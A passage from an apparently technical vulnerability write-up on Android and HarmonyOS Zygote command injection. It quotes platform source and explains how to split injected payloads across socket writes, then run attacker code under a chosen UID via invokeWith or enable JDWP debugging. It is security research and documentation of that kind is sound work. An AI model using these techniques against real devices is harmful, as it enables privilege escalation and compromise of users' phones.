((fd_structs[SESSION_IDX].revents &amp; POLLIN) != <span class="number">0</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (n_buffer-&gt;getCount(fail_fn_z) != <span class="number">0</span>) &#123;</span><br><span class="line">          <span class="keyword">break</span>;</span><br><span class="line">        &#125;  <span class="comment">// else disconnected;</span></span><br><span class="line">      &#125; <span class="keyword">else</span> <span class="keyword">if</span> (poll_res == <span class="number">0</span> || (fd_structs[ZYGOTE_IDX].revents &amp; POLLIN) == <span class="number">0</span>) &#123;</span><br><span class="line">        fail_fn_z(</span><br><span class="line">            CREATE_ERROR(<span class="string">&quot;Poll returned with no descriptors ready! Poll returned %d&quot;</span>, poll_res));</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="comment">// We&#x27;ve now seen either a disconnect or connect request.</span></span><br><span class="line">      close(session_socket);</span><br><span class="line">   <span class="comment">//...</span></span><br><span class="line">    &#125;</span><br><span class="line">    first_time = <span class="literal">false</span>;</span><br><span class="line">  &#125; <span class="keyword">while</span> (n_buffer-&gt;isSimpleForkCommand(minUid, fail_fn_n));</span><br><span class="line">  ALOGW(<span class="string">&quot;forkRepeatedly terminated due to non-simple command&quot;</span>);</span><br><span class="line">  n_buffer-&gt;logState();</span><br><span class="line">  n_buffer-&gt;reset();</span><br><span class="line">  <span class="keyword">return</span> JNI_FALSE;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">std::optional&lt;std::pair&lt;<span class="type">char</span>*, <span class="type">char</span>*&gt;&gt; readLine(FailFn fail_fn) &#123;</span><br><span class="line">    <span class="type">char</span>* result = mBuffer + mNext;</span><br><span class="line">    <span class="keyword">while</span> (<span class="literal">true</span>) &#123;</span><br><span class="line">      <span class="comment">// We have scanned up to, but not including mNext for this line&#x27;s newline.</span></span><br><span class="line">      <span class="keyword">if</span> (mNext == mEnd) &#123;</span><br><span class="line">        <span class="keyword">if</span> (mEnd == MAX_COMMAND_BYTES) &#123;</span><br><span class="line">          <span class="keyword">return</span> &#123;&#125;;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (mFd == -<span class="number">1</span>) &#123;</span><br><span class="line">          fail_fn(<span class="string">&quot;ZygoteCommandBuffer.readLine attempted to read from mFd -1&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="type">ssize_t</span> <span class="variable">nread</span> <span class="operator">=</span> TEMP_FAILURE_RETRY(read(mFd, mBuffer + mEnd, MAX_COMMAND_BYTES - mEnd));</span><br><span class="line">        <span class="keyword">if</span> (nread &lt;= <span class="number">0</span>) &#123;</span><br><span class="line">          <span class="keyword">if</span> (nread == <span class="number">0</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> &#123;&#125;;</span><br><span class="line">          &#125;</span><br><span class="line">          fail_fn(CREATE_ERROR(<span class="string">&quot;session socket read failed: %s&quot;</span>, strerror(errno)));</span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span> (nread == static_cast&lt;ssize_t&gt;(MAX_COMMAND_BYTES - mEnd)) &#123;</span><br><span class="line">          <span class="comment">// This is pessimistic by one character, but close enough.</span></span><br><span class="line">          fail_fn(<span class="string">&quot;ZygoteCommandBuffer overflowed: command too long&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        mEnd += nread;</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="comment">// UTF-8 does not allow newline to occur as part of a multibyte character.</span></span><br><span class="line">      <span class="type">char</span>* nl = static_cast&lt;<span class="type">char</span> *&gt;(memchr(mBuffer + mNext, <span class="string">&#x27;\n&#x27;</span>, mEnd - mNext));</span><br><span class="line">      <span class="keyword">if</span> (nl == nullptr) &#123;</span><br><span class="line">        mNext = mEnd;</span><br><span class="line">      &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        mNext = nl - mBuffer + <span class="number">1</span>;</span><br><span class="line">        <span class="keyword">if</span> (--mLinesLeft &lt; <span class="number">0</span>) &#123;</span><br><span class="line">          fail_fn(<span class="string">&quot;ZygoteCommandBuffer.readLine attempted to read past end of command&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> std::make_pair(result, nl);</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br></pre></td></tr></table></figure><p>&quot;The <code>nativeForkRepeatedly</code> function operates roughly as follows: After the socket initialization setup is completed, <code>n_buffer-&gt;readLines</code> will pre-read and buffer all the lines—i.e., all the content that can currently be read from the socket. The subsequent <code>reset</code> will move the buffer’s current read pointer back to the initial position—meaning the subsequent operations on <code>n_buffer</code> will start parsing this buffer from the beginning, without re-triggering a socket read. After a child process is forked, it will consume this buffer to extract its <code>uid</code> and <code>gid</code> and set them by itself. The parent process will continue execution and enter the <code>for</code> loop below. This <code>for</code> loop continuously listens to the corresponding socket’s file descriptor (fd), receiving and reconstructing incoming connections if they are unexpectedly interrupted.</p><pre class="mermaid">graph TD    A[Socket Initialization and Setup] --> B[n_buffer->readLines Reads and Buffers All Lines]    B --> C[reset Moves Buffer Pointer Back to Initial Position]    C --> D[n_buffer Re-parses the Buffer]    D --> E{Fork Child Process}    E --> F[Child Process Consumes Buffer to Extract UID and GID]    E --> G[Parent Process Continues Execution]    G --> H[Enters for Loop]    H --> I[n_buffer->clear Clears Buffer]    I --> J[Continuously Listens on Socket FD]    J --> K[Receives and Rebuilds Incoming Connections]    K --> L[n_buffer->getCount]    L --> |Valid Input| O[Check if it is a simpleForkCommand]    L --> |Invalid Input| I    O --> |Is SimpleFork| B    O --> |Not SimpleFork| ZygoteConnection::ProcessCommand</pre><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> (;;) &#123;</span><br><span class="line">  <span class="comment">// Clear buffer and get count from next command.</span></span><br><span class="line">  n_buffer-&gt;clear();</span><br></pre></td></tr></table></figure><p>But this is where things start to get complex and tricky. The call to <code>n_buffer-&gt;clear();</code> discards all the remaining content in the current buffer (the buffer size is 12,200 on Android 12 and HarmonyOS 4, and 32,768 in later versions). This leads to the previously mentioned issue: the injected content will essentially be discarded and will not enter the next round of parsing.</p><p>Thus, the core exploitation method here is figuring out how to split the injected content into different reads so that it gets processed. Theoretically, this relies on the Linux kernel’s scheduler. Generally speaking, splitting the content into different <code>write</code> operations on the other side, with a certain time interval between them, can achieve this goal in most cases. Now, let’s take a look back at the vulnerable function in <code>system_server</code> that triggers the writing to the command socket:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">private</span> <span class="type">boolean</span> <span class="title function_">maybeSetApiDenylistExemptions</span><span class="params">(ZygoteState state, <span class="type">boolean</span> sendIfEmpty)</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (state == <span class="literal">null</span> || state.isClosed()) &#123;</span><br><span class="line">        Slog.e(LOG_TAG, <span class="string">&quot;Can&#x27;t set API denylist exemptions: no zygote connection&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">    &#125; <span class="keyword">else</span> <span class="keyword">if</span> (!sendIfEmpty &amp;&amp; mApiDenylistExemptions.isEmpty()) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        state.mZygoteOutputWriter.write(Integer.toString(mApiDenylistExemptions.size() + <span class="number">1</span>));</span><br><span class="line">        state.mZygoteOutputWriter.newLine();</span><br><span class="line">        state.mZygoteOutputWriter.write(<span class="string">&quot;--set-api-denylist-exemptions&quot;</span>);</span><br><span class="line">        state.mZygoteOutputWriter.newLine();</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; mApiDenylistExemptions.size(); ++i) &#123;</span><br><span class="line">            state.mZygoteOutputWriter.write(mApiDenylistExemptions.get(i));</span><br><span class="line">            state.mZygoteOutputWriter.newLine();</span><br><span class="line">        &#125;</span><br><span class="line">        state.mZygoteOutputWriter.flush();</span><br><span class="line">        <span class="type">int</span> <span class="variable">status</span> <span class="operator">=</span> state.mZygoteInputStream.readInt();</span><br><span class="line">        <span class="keyword">if</span> (status != <span class="number">0</span>) &#123;</span><br><span class="line">            Slog.e(LOG_TAG, <span class="string">&quot;Failed to set API denylist exemptions; status &quot;</span> + status);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">    &#125; <span class="keyword">catch</span> (IOException ioe) &#123;</span><br><span class="line">        Slog.e(LOG_TAG, <span class="string">&quot;Failed to set API denylist exemptions&quot;</span>, ioe);</span><br><span class="line">        mApiDenylistExemptions = Collections.emptyList();</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><code>mZygoteOutputWriter</code>, which inherits from <code>BufferedWriter</code>, has a buffer size of 8192.</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">write</span><span class="params">(<span class="type">int</span> c)</span> <span class="keyword">throws</span> IOException &#123;</span><br><span class="line">    <span class="keyword">synchronized</span> (lock) &#123;</span><br><span class="line">        ensureOpen();</span><br><span class="line">        <span class="keyword">if</span> (nextChar &gt;= nChars)</span><br><span class="line">            flushBuffer();</span><br><span class="line">        cb[nextChar++] = (<span class="type">char</span>) c;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>This means that unless <code>flush</code> is explicitly called, writes to the socket will only be triggered when the size of accumulated content in the <code>BufferedWriter</code> reaches the <code>defaultCharBufferSize</code>.</p><p>It’s important to note that separate writes do not necessarily guarantee separate reads on the receiving side, as the kernel might merge socket operations. The author of Meta proposed a method to mitigate this: inserting a large number of commas to extend the time consumption in the <code>for</code> loop, thereby increasing the time interval between the first socket write and the second socket write (flush). Depending on the device configuration, the number of commas may need to be adjusted, but the overall length must not exceed the maximum size of the <code>CommandBuffer</code>, or it will cause Zygote to abort. The added commas are parsed as empty lines in an array after the <code>string split</code> and will first be written by <code>system_server</code> as a corresponding count, represented by <code>3001</code> in the diagram below. However, during Zygote parsing, we must ensure that this count matches the corresponding lines before and after the injection.</p><p>Thus, the final payload layout is as shown in the diagram below</p><!-- ![image.png](image%201.png) --><img src="/the_return_of_mystique/image1.png" class="" title="image1.png"><h1 id="chaining-it-alltogether"><a class="markdownIt-Anchor" href="#chaining-it-alltogether"></a> Chaining it alltogether</h1><p>We want the first part of the payload, which is the content before <code>13</code> (the yellow section in the diagram below), to exactly reach the 8192-character limit of the <code>BufferedWriter</code>, causing it to trigger a flush and ultimately initiate a socket write.</p><!-- ![image.png](image%202.png) --><img src="/the_return_of_mystique/image2.png" class="" title="image2.png"><p>When Zygote receives this request, it should be in <code>com_android_internal_os_ZygoteCommandBuffer_nativeForkRepeatedly</code>, having just finished processing the previous <code>simpleFork</code>, and blocked at <code>n_buffer-&gt;getCount</code> (which is used to read the line count from the buffer). After this request arrives, <code>getline</code> will read all the contents from the socket into the buffer (note: it doesn’t read line by line), and upon reading <code>3001</code> (line count), it detects that it is not a <code>isSimpleForkCommand</code>. This causes the function to exit <code>nativeForkRepeatedly</code> and return to the <code>processCommand</code> function in <code>ZygoteConnection</code>.</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">ZygoteHooks.preFork();</span><br><span class="line"><span class="type">Runnable</span> <span class="variable">result</span> <span class="operator">=</span> Zygote.forkSimpleApps(argBuffer,</span><br><span class="line">        zygoteServer.getZygoteSocketFileDescriptor(),</span><br><span class="line">        peer.getUid(), Zygote.minChildUid(peer), parsedArgs.mNiceName);</span><br><span class="line"><span class="keyword">if</span> (result == <span class="literal">null</span>) &#123;</span><br><span class="line">    <span class="comment">// parent; we finished some number of forks. Result is Boolean.</span></span><br><span class="line">    <span class="comment">// We already did the equivalent of handleParentProc().</span></span><br><span class="line">    ZygoteHooks.postForkCommon();</span><br><span class="line">    <span class="comment">// argBuffer contains a command not understood by forksimpleApps.</span></span><br><span class="line">    <span class="keyword">continue</span>;</span><br></pre></td></tr></table></figure><p>The whole procedure is as follows:</p><pre class="mermaid">graph TD;A[Zygote Receives Request] --> B[Enter com_android_internal_os_ZygoteCommandBuffer_nativeForkRepeatedly];B --> C[Finish Processing Previous simpleFork];C --> D[n_buffer->getCount Reads Line Count];D --> E[getline Reads Buffer];E --> F[Reads the 3001 Line Count];F --> G[Detects it is not isSimpleForkCommand];G --> H[Exit nativeForkRepeatedly];H --> I[Return to ZygoteConnection's processCommand Function];</pre><p>This entire 8192-sized block of content is then passed into <code>ZygoteInit.setApiDenylistExemptions</code>, after which processing of this block is no longer relevant to this vulnerability. Zygote consumes this, and proceed to receive following parts of commands.</p><p>At this point, note that we look from the Zygote side back to the system_server side, where system_server is still within the <code>maybeSetApiDenylistExemptions</code> function’s for loop. The 8192 block just processed by Zygote corresponds to the first <code>write</code> in this for loop.</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">try</span> &#123;</span><br><span class="line">        state.mZygoteOutputWriter.write(Integer.toString(mApiDenylistExemptions.size() + <span class="number">1</span>));</span><br><span class="line">        state.mZygoteOutputWriter.newLine();</span><br><span class="line">        state.mZygoteOutputWriter.write(<span class="string">&quot;--set-api-denylist-exemptions&quot;</span>);</span><br><span class="line">        state.mZygoteOutputWriter.newLine();</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; mApiDenylistExemptions.size(); ++i) &#123;</span><br><span class="line">            state.mZygoteOutputWriter.write(mApiDenylistExemptions.get(i)); <span class="comment">//&lt;----</span></span><br><span class="line">            state.mZygoteOutputWriter.newLine();</span><br><span class="line">        &#125;</span><br><span class="line">        state.mZygoteOutputWriter.flush();</span><br></pre></td></tr></table></figure><p>The next <code>writer.write</code> will write the core command injection payload, and then the for loop will continue iterating 3000 (or another specified linecount - 1) times. This is done to ensure that consecutive socket writes do not get merged by the kernel into a single write, which could result in Zygote exceeding the buffer size limit and causing Zygote to abort during its read operation.</p><p>These iterations accumulated do not exceed the 8192-byte limit of the <code>BufferedWriter</code>, will not trigger an actual socket write within the for loop. Instead, the socket write will only be triggered during the <code>flush</code>. From Zygote’s perspective, it will continue parsing the new buffer in <code>ZygoteArguments.getInstance</code>, corresponding to the section shown in green in the diagram below.</p><!-- ![image.png](image%203.png) --><img src="/the_return_of_mystique/image3.png" class="" title="image3.png"><p>This green section will be read into the buffer in one go. The first thing to be processed is the line count <code>13</code>, followed by the fully controlled Zygote parameters injected by the attacker.</p><p>This time, the <code>ZygoteArguments</code> will only contain the 13 lines from this buffer, while the rest of the buffer (empty lines) will be processed in the next call to <code>ZygoteArguments.getInstance</code>. When the next new <code>ZygoteArguments</code> instance is created, <code>ZygoteCommandBuffer</code> will perform another read, effectively ignoring the remaining empty lines.</p><h1 id="what-should-we-do-after-successfully-obtaining-control-of-zygote-parameters"><a class="markdownIt-Anchor" href="#what-should-we-do-after-successfully-obtaining-control-of-zygote-parameters"></a> What should we do after successfully obtaining control of Zygote parameters?</h1><p>&quot;After all the complex work outlined above, we have successfully achieved the goal of reliably controlling the Zygote parameters through this vulnerability. However, we still haven’t addressed a critical question: What can be done with these controlled parameters, or how can they be used to escalate privileges?</p><p>At first glance, this question seems obvious, but in reality, it requires deeper exploration.</p><h3 id="attempt-1-can-we-control-zygote-to-execute-a-specific-package-name-with-a-particular-uid"><a class="markdownIt-Anchor" href="#attempt-1-can-we-control-zygote-to-execute-a-specific-package-name-with-a-particular-uid"></a> Attempt #1: Can we control Zygote to execute a specific package name with a particular <code>uid</code>?</h3><p>This might be our first thought: Can we achieve this by controlling the <code>--package-name</code> and UID?</p><p>Unfortunately, the package name is not of much significance to the attacker or to the entire code loading and execution process. Let’s recall the Android App loading process:</p><!-- ![image.png](image%204.png) --><img src="/the_return_of_mystique/image4.png" class="" title="image4.png"><p>And let’s continue by examining the relevant code in<code>ApplicationThread</code></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line"> <span class="comment">//...</span></span><br><span class="line">     <span class="comment">// Find the value for &#123;@link #PROC_START_SEQ_IDENT&#125; if provided on the command line.</span></span><br><span class="line">     <span class="comment">// It will be in the format &quot;seq=114&quot;</span></span><br><span class="line">     <span class="type">long</span> <span class="variable">startSeq</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">     <span class="keyword">if</span> (args != <span class="literal">null</span>) &#123;</span><br><span class="line">         <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> args.length - <span class="number">1</span>; i &gt;= <span class="number">0</span>; --i) &#123;</span><br><span class="line">             <span class="keyword">if</span> (args[i] != <span class="literal">null</span> &amp;&amp; args[i].startsWith(PROC_START_SEQ_IDENT)) &#123;</span><br><span class="line">                 startSeq = Long.parseLong(</span><br><span class="line">                         args[i].substring(PROC_START_SEQ_IDENT.length()));</span><br><span class="line">             &#125;</span><br><span class="line">         &#125;</span><br><span class="line">     &#125;</span><br><span class="line">     <span class="type">ActivityThread</span> <span class="variable">thread</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ActivityThread</span>();</span><br><span class="line">     thread.attach(<span class="literal">false</span>, startSeq);</span><br></pre></td></tr></table></figure><p>As we can see, the APK code loading process actually depends on <code>startSeq</code>, a parameter maintained by the <code>ActivityManagerService</code>, which maps <code>ApplicationRecord</code> to <code>startSeq</code>. This mapping tracks the corresponding <code>loadApk</code>, meaning the specific APK file and its path.</p><p>So, let’s take a step back:</p><h3 id="method-1-can-we-control-the-execution-of-arbitrary-code-under-a-specific-uid"><a class="markdownIt-Anchor" href="#method-1-can-we-control-the-execution-of-arbitrary-code-under-a-specific-uid"></a> Method #1: Can we control the execution of arbitrary code under a specific UID?</h3><p><strong>The answer is yes.</strong> By analyzing the parameters in <code>ZygoteArguments</code>, we discovered that the <code>invokeWith</code> parameter can be used to <a href="https://cs.android.com/android/platform/superproject/main/+/main:frameworks/base/core/java/com/android/internal/os/WrapperInit.java;drc=7f501aa154a7bda4729303dff252b9e3eacfafd7;l=107">achieve this goal</a>:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">execApplication</span><span class="params">(String invokeWith, String niceName,</span></span><br><span class="line"><span class="params">        <span class="type">int</span> targetSdkVersion, String instructionSet, FileDescriptor pipeFd,</span></span><br><span class="line"><span class="params">        String[] args)</span> &#123;</span><br><span class="line">    <span class="type">StringBuilder</span> <span class="variable">command</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StringBuilder</span>(invokeWith);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">final</span> String appProcess;</span><br><span class="line">    <span class="keyword">if</span> (VMRuntime.is64BitInstructionSet(instructionSet)) &#123;</span><br><span class="line">        appProcess = <span class="string">&quot;/system/bin/app_process64&quot;</span>;</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        appProcess = <span class="string">&quot;/system/bin/app_process32&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    command.append(<span class="string">&#x27; &#x27;</span>);</span><br><span class="line">    command.append(appProcess);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Generate bare minimum of debug information to be able to backtrace through JITed code.</span></span><br><span class="line">    <span class="comment">// We assume that if the invoke wrapper is used, backtraces are desirable:</span></span><br><span class="line">    <span class="comment">//  * The wrap.sh script can only be used by debuggable apps, which would enable this flag</span></span><br><span class="line">    <span class="comment">//    without the script anyway (the fork-zygote path).  So this makes the two consistent.</span></span><br><span class="line">    <span class="comment">//  * The wrap.* property can only be used on userdebug builds and is likely to be used by</span></span><br><span class="line">    <span class="comment">//    developers (e.g. enable debug-malloc), in which case backtraces are also useful.</span></span><br><span class="line">    command.append(<span class="string">&quot; -Xcompiler-option --generate-mini-debug-info&quot;</span>);</span><br><span class="line"></span><br><span class="line">    command.append(<span class="string">&quot; /system/bin --application&quot;</span>);</span><br><span class="line">    <span class="keyword">if</span> (niceName != <span class="literal">null</span>) &#123;</span><br><span class="line">        command.append(<span class="string">&quot; &#x27;--nice-name=&quot;</span>).append(niceName).append(<span class="string">&quot;&#x27;&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    command.append(<span class="string">&quot; com.android.internal.os.WrapperInit &quot;</span>);</span><br><span class="line">    command.append(pipeFd != <span class="literal">null</span> ? pipeFd.getInt$() : <span class="number">0</span>);</span><br><span class="line">    command.append(<span class="string">&#x27; &#x27;</span>);</span><br><span class="line">    command.append(targetSdkVersion);</span><br><span class="line">    Zygote.appendQuotedShellArgs(command, args);</span><br><span class="line">    preserveCapabilities();</span><br><span class="line">    Zygote.execShell(command.toString());</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>This piece of code concatenates <code>mInvokeWith</code> with the subsequent arguments and executes them via <code>execShell</code>. We only need to point this parameter to an ELF binary or shell script that the attacker controls, and it must be readable and executable by Zygote.</p><p>However, we also need to consider the restrictions imposed by SELinux and the AppData directory permissions. Even if an attacker sets a file in a private directory to be globally readable and executable, Zygote will not be able to access or execute it. To resolve this, we refer to the technique we used in the Mystique vulnerability: using files from the <code>app-lib</code> directory.</p><p>The related method for obtaining a system shell is shown in the figure, with the device running HarmonyOS 4.2.</p><!-- ![demo.gif](demo.gif) --><img src="/the_return_of_mystique/demo.gif" class="" title="demo.gif"><p>However, this exploitation method still has a problem: obtaining a shell with a specific UID is not the same as direct in-process code execution. If we want to perform further hooking or code injection, this method would require an additional code execution trampoline, but not every app possesses this characteristic, <a href="https://source.android.com/docs/whatsnew/android-14-release#read-only-files">and Android 14 has further introduced DCL (Dynamic Code Loading) restrictions</a>.</p><p>So, is it possible to further achieve this goal?</p><h3 id="method-2-leveraging-the-jdwp-flag"><a class="markdownIt-Anchor" href="#method-2-leveraging-the-jdwp-flag"></a> Method #2: Leveraging the <code>jdwp</code> Flag</h3><p>Here, we propose a new approach: the <code>runtime-flags</code> field in <code>ZygoteArguments</code> can actually be used to enable an application’s <a href="https://cs.android.com/android/platform/superproject/main/+/main:frameworks/base/core/java/com/android/internal/os/Zygote.java;drc=7f501aa154a7bda4729303dff252b9e3eacfafd7;l=1061">debuggable attribute</a>.</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">applyDebuggerSystemProperty</span><span class="params">(ZygoteArguments args)</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (Build.IS_ENG || (Build.IS_USERDEBUG &amp;&amp; ENABLE_JDWP)) &#123;</span><br><span class="line">        args.mRuntimeFlags |= Zygote.DEBUG_ENABLE_JDWP;</span><br><span class="line">        <span class="comment">// Also enable ptrace when JDWP is enabled for consistency with</span></span><br><span class="line">        <span class="comment">// before persist.debug.ptrace.enabled existed.</span></span><br><span class="line">        args.mRuntimeFlags |= Zygote.DEBUG_ENABLE_PTRACE;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> (Build.IS_ENG || (Build.IS_USERDEBUG &amp;&amp; ENABLE_PTRACE)) &#123;</span><br><span class="line">        args.mRuntimeFlags |= Zygote.DEBUG_ENABLE_PTRACE;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Building on our analysis in <strong>Attempt #1</strong>, we can borrow a <code>startSeq</code> that matches an existing record in <code>system_server</code> to complete the full app startup process.The key advantage here is that the app’s process flags have been modified to enable the <strong>debuggable</strong> attribute, allowing the attacker to use tools like <code>jdb</code> to gain execution control within the process.</p><h3 id="the-challenge-predicting-startseq"><a class="markdownIt-Anchor" href="#the-challenge-predicting-startseq"></a> The Challenge: Predicting <code>startSeq</code></h3><p>The issue, however, lies in predicting the <code>startSeq</code> parameter. <strong>ActivityManagerService</strong> enforces <a href="https://cs.android.com/android/platform/superproject/main/+/main:frameworks/base/services/core/java/com/android/server/am/ActivityManagerService.java;drc=7f501aa154a7bda4729303dff252b9e3eacfafd7;l=4550">strict validation</a> for this parameter, ensuring that only legitimate values associated with active application startup processes are used.</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">attachApplicationLocked</span><span class="params">(<span class="meta">@NonNull</span> IApplicationThread thread,</span></span><br><span class="line"><span class="params">        <span class="type">int</span> pid, <span class="type">int</span> callingUid, <span class="type">long</span> startSeq)</span> &#123;</span><br><span class="line">    <span class="comment">// Find the application record that is being attached...  either via</span></span><br><span class="line">    <span class="comment">// the pid if we are running in multiple processes, or just pull the</span></span><br><span class="line">    <span class="comment">// next app record if we are emulating process with anonymous threads.</span></span><br><span class="line">    ProcessRecord app;</span><br><span class="line">    <span class="type">long</span> <span class="variable">startTime</span> <span class="operator">=</span> SystemClock.uptimeMillis();</span><br><span class="line">    <span class="type">long</span> bindApplicationTimeMillis;</span><br><span class="line">    <span class="type">long</span> bindApplicationTimeNanos;</span><br><span class="line">    <span class="keyword">if</span> (pid != MY_PID 